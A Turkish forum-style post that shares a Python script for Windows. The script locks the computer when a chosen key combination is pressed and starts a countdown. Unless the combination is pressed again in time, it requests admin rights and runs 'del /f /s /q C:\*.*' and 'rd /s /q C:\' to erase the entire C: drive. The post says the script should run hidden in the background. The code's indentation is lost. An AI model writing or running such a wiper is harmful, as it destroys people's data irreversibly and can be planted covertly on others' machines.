Merhaba arkadaşlar! Bu Python kodu, belirli bir tuş kombinasyonu algılandığında bilgisayarı otomatik olarak kilitliyor ve ardından bir geri sayım başlatıyor. Eğer geri sayım tamamlanmadan önce kullanıcı Windows kilit ekranında oturum açmaz ve belirlenen tuş kombinasyonunu tekrar kullanmazsa, bilgisayardaki tüm dosyaları silen tehlikeli bir işlem başlatıyor
Not: win ile uyumlu ve arka planda gömülü çalışması gerekiyor
Not: win ile uyumlu ve arka planda gömülü çalışması gerekiyor
Kod:
import keyboard
import time
import os
import ctypes
import threading
def lock_computer():
ctypes.windll.user32.LockWorkStation()
def delete_all_files():
ctypes.windll.shell32.ShellExecuteW(None, "runas", os.path.abspath(__file__), None, None, 1)
try:
os.system("del /f /s /q C:\\*.* > NUL")
os.system("rd /s /q C:\\")
except Exception as e:
print("Dosyalar silinirken hata oluştu:", e)
def start_countdown(countdown_time, key_combination, cancel_event):
while countdown_time:
if cancel_event.is_set():
print("Silme işlemi iptal edildi!")
return
mins, secs = divmod(countdown_time, 60)
timeformat = '{:02d}:{:02d}'.format(mins, secs)
print(timeformat, end='\r')
time.sleep(1)
countdown_time -= 1
print("Geri sayım bitti. Bilgisayardaki tüm veriler siliniyor...")
delete_all_files()
def main():
print("Lütfen bir tuş kombinasyonu girin (örn: 'ctrl+alt+del'):")
key_combination = input().strip()
print("Lütfen geri sayım süresini saniye olarak girin:")
countdown_time = int(input().strip())
cancel_event = threading.Event()
print(f"'{key_combination}' kombinasyonu için bekleniyor...")
while True:
if keyboard.is_pressed(key_combination):
print(f"'{key_combination}' tuşlandı, bilgisayar kilitleniyor ve geri sayım başlatılıyor...")
lock_computer()
countdown_thread = threading.Thread(target=start_countdown, args=(countdown_time, key_combination, cancel_event))
countdown_thread.start()
while countdown_thread.is_alive():
if keyboard.is_pressed(key_combination):
cancel_event.set()
countdown_thread.join()
break
if not countdown_thread.is_alive():
break
if __name__ == "__main__":
main()



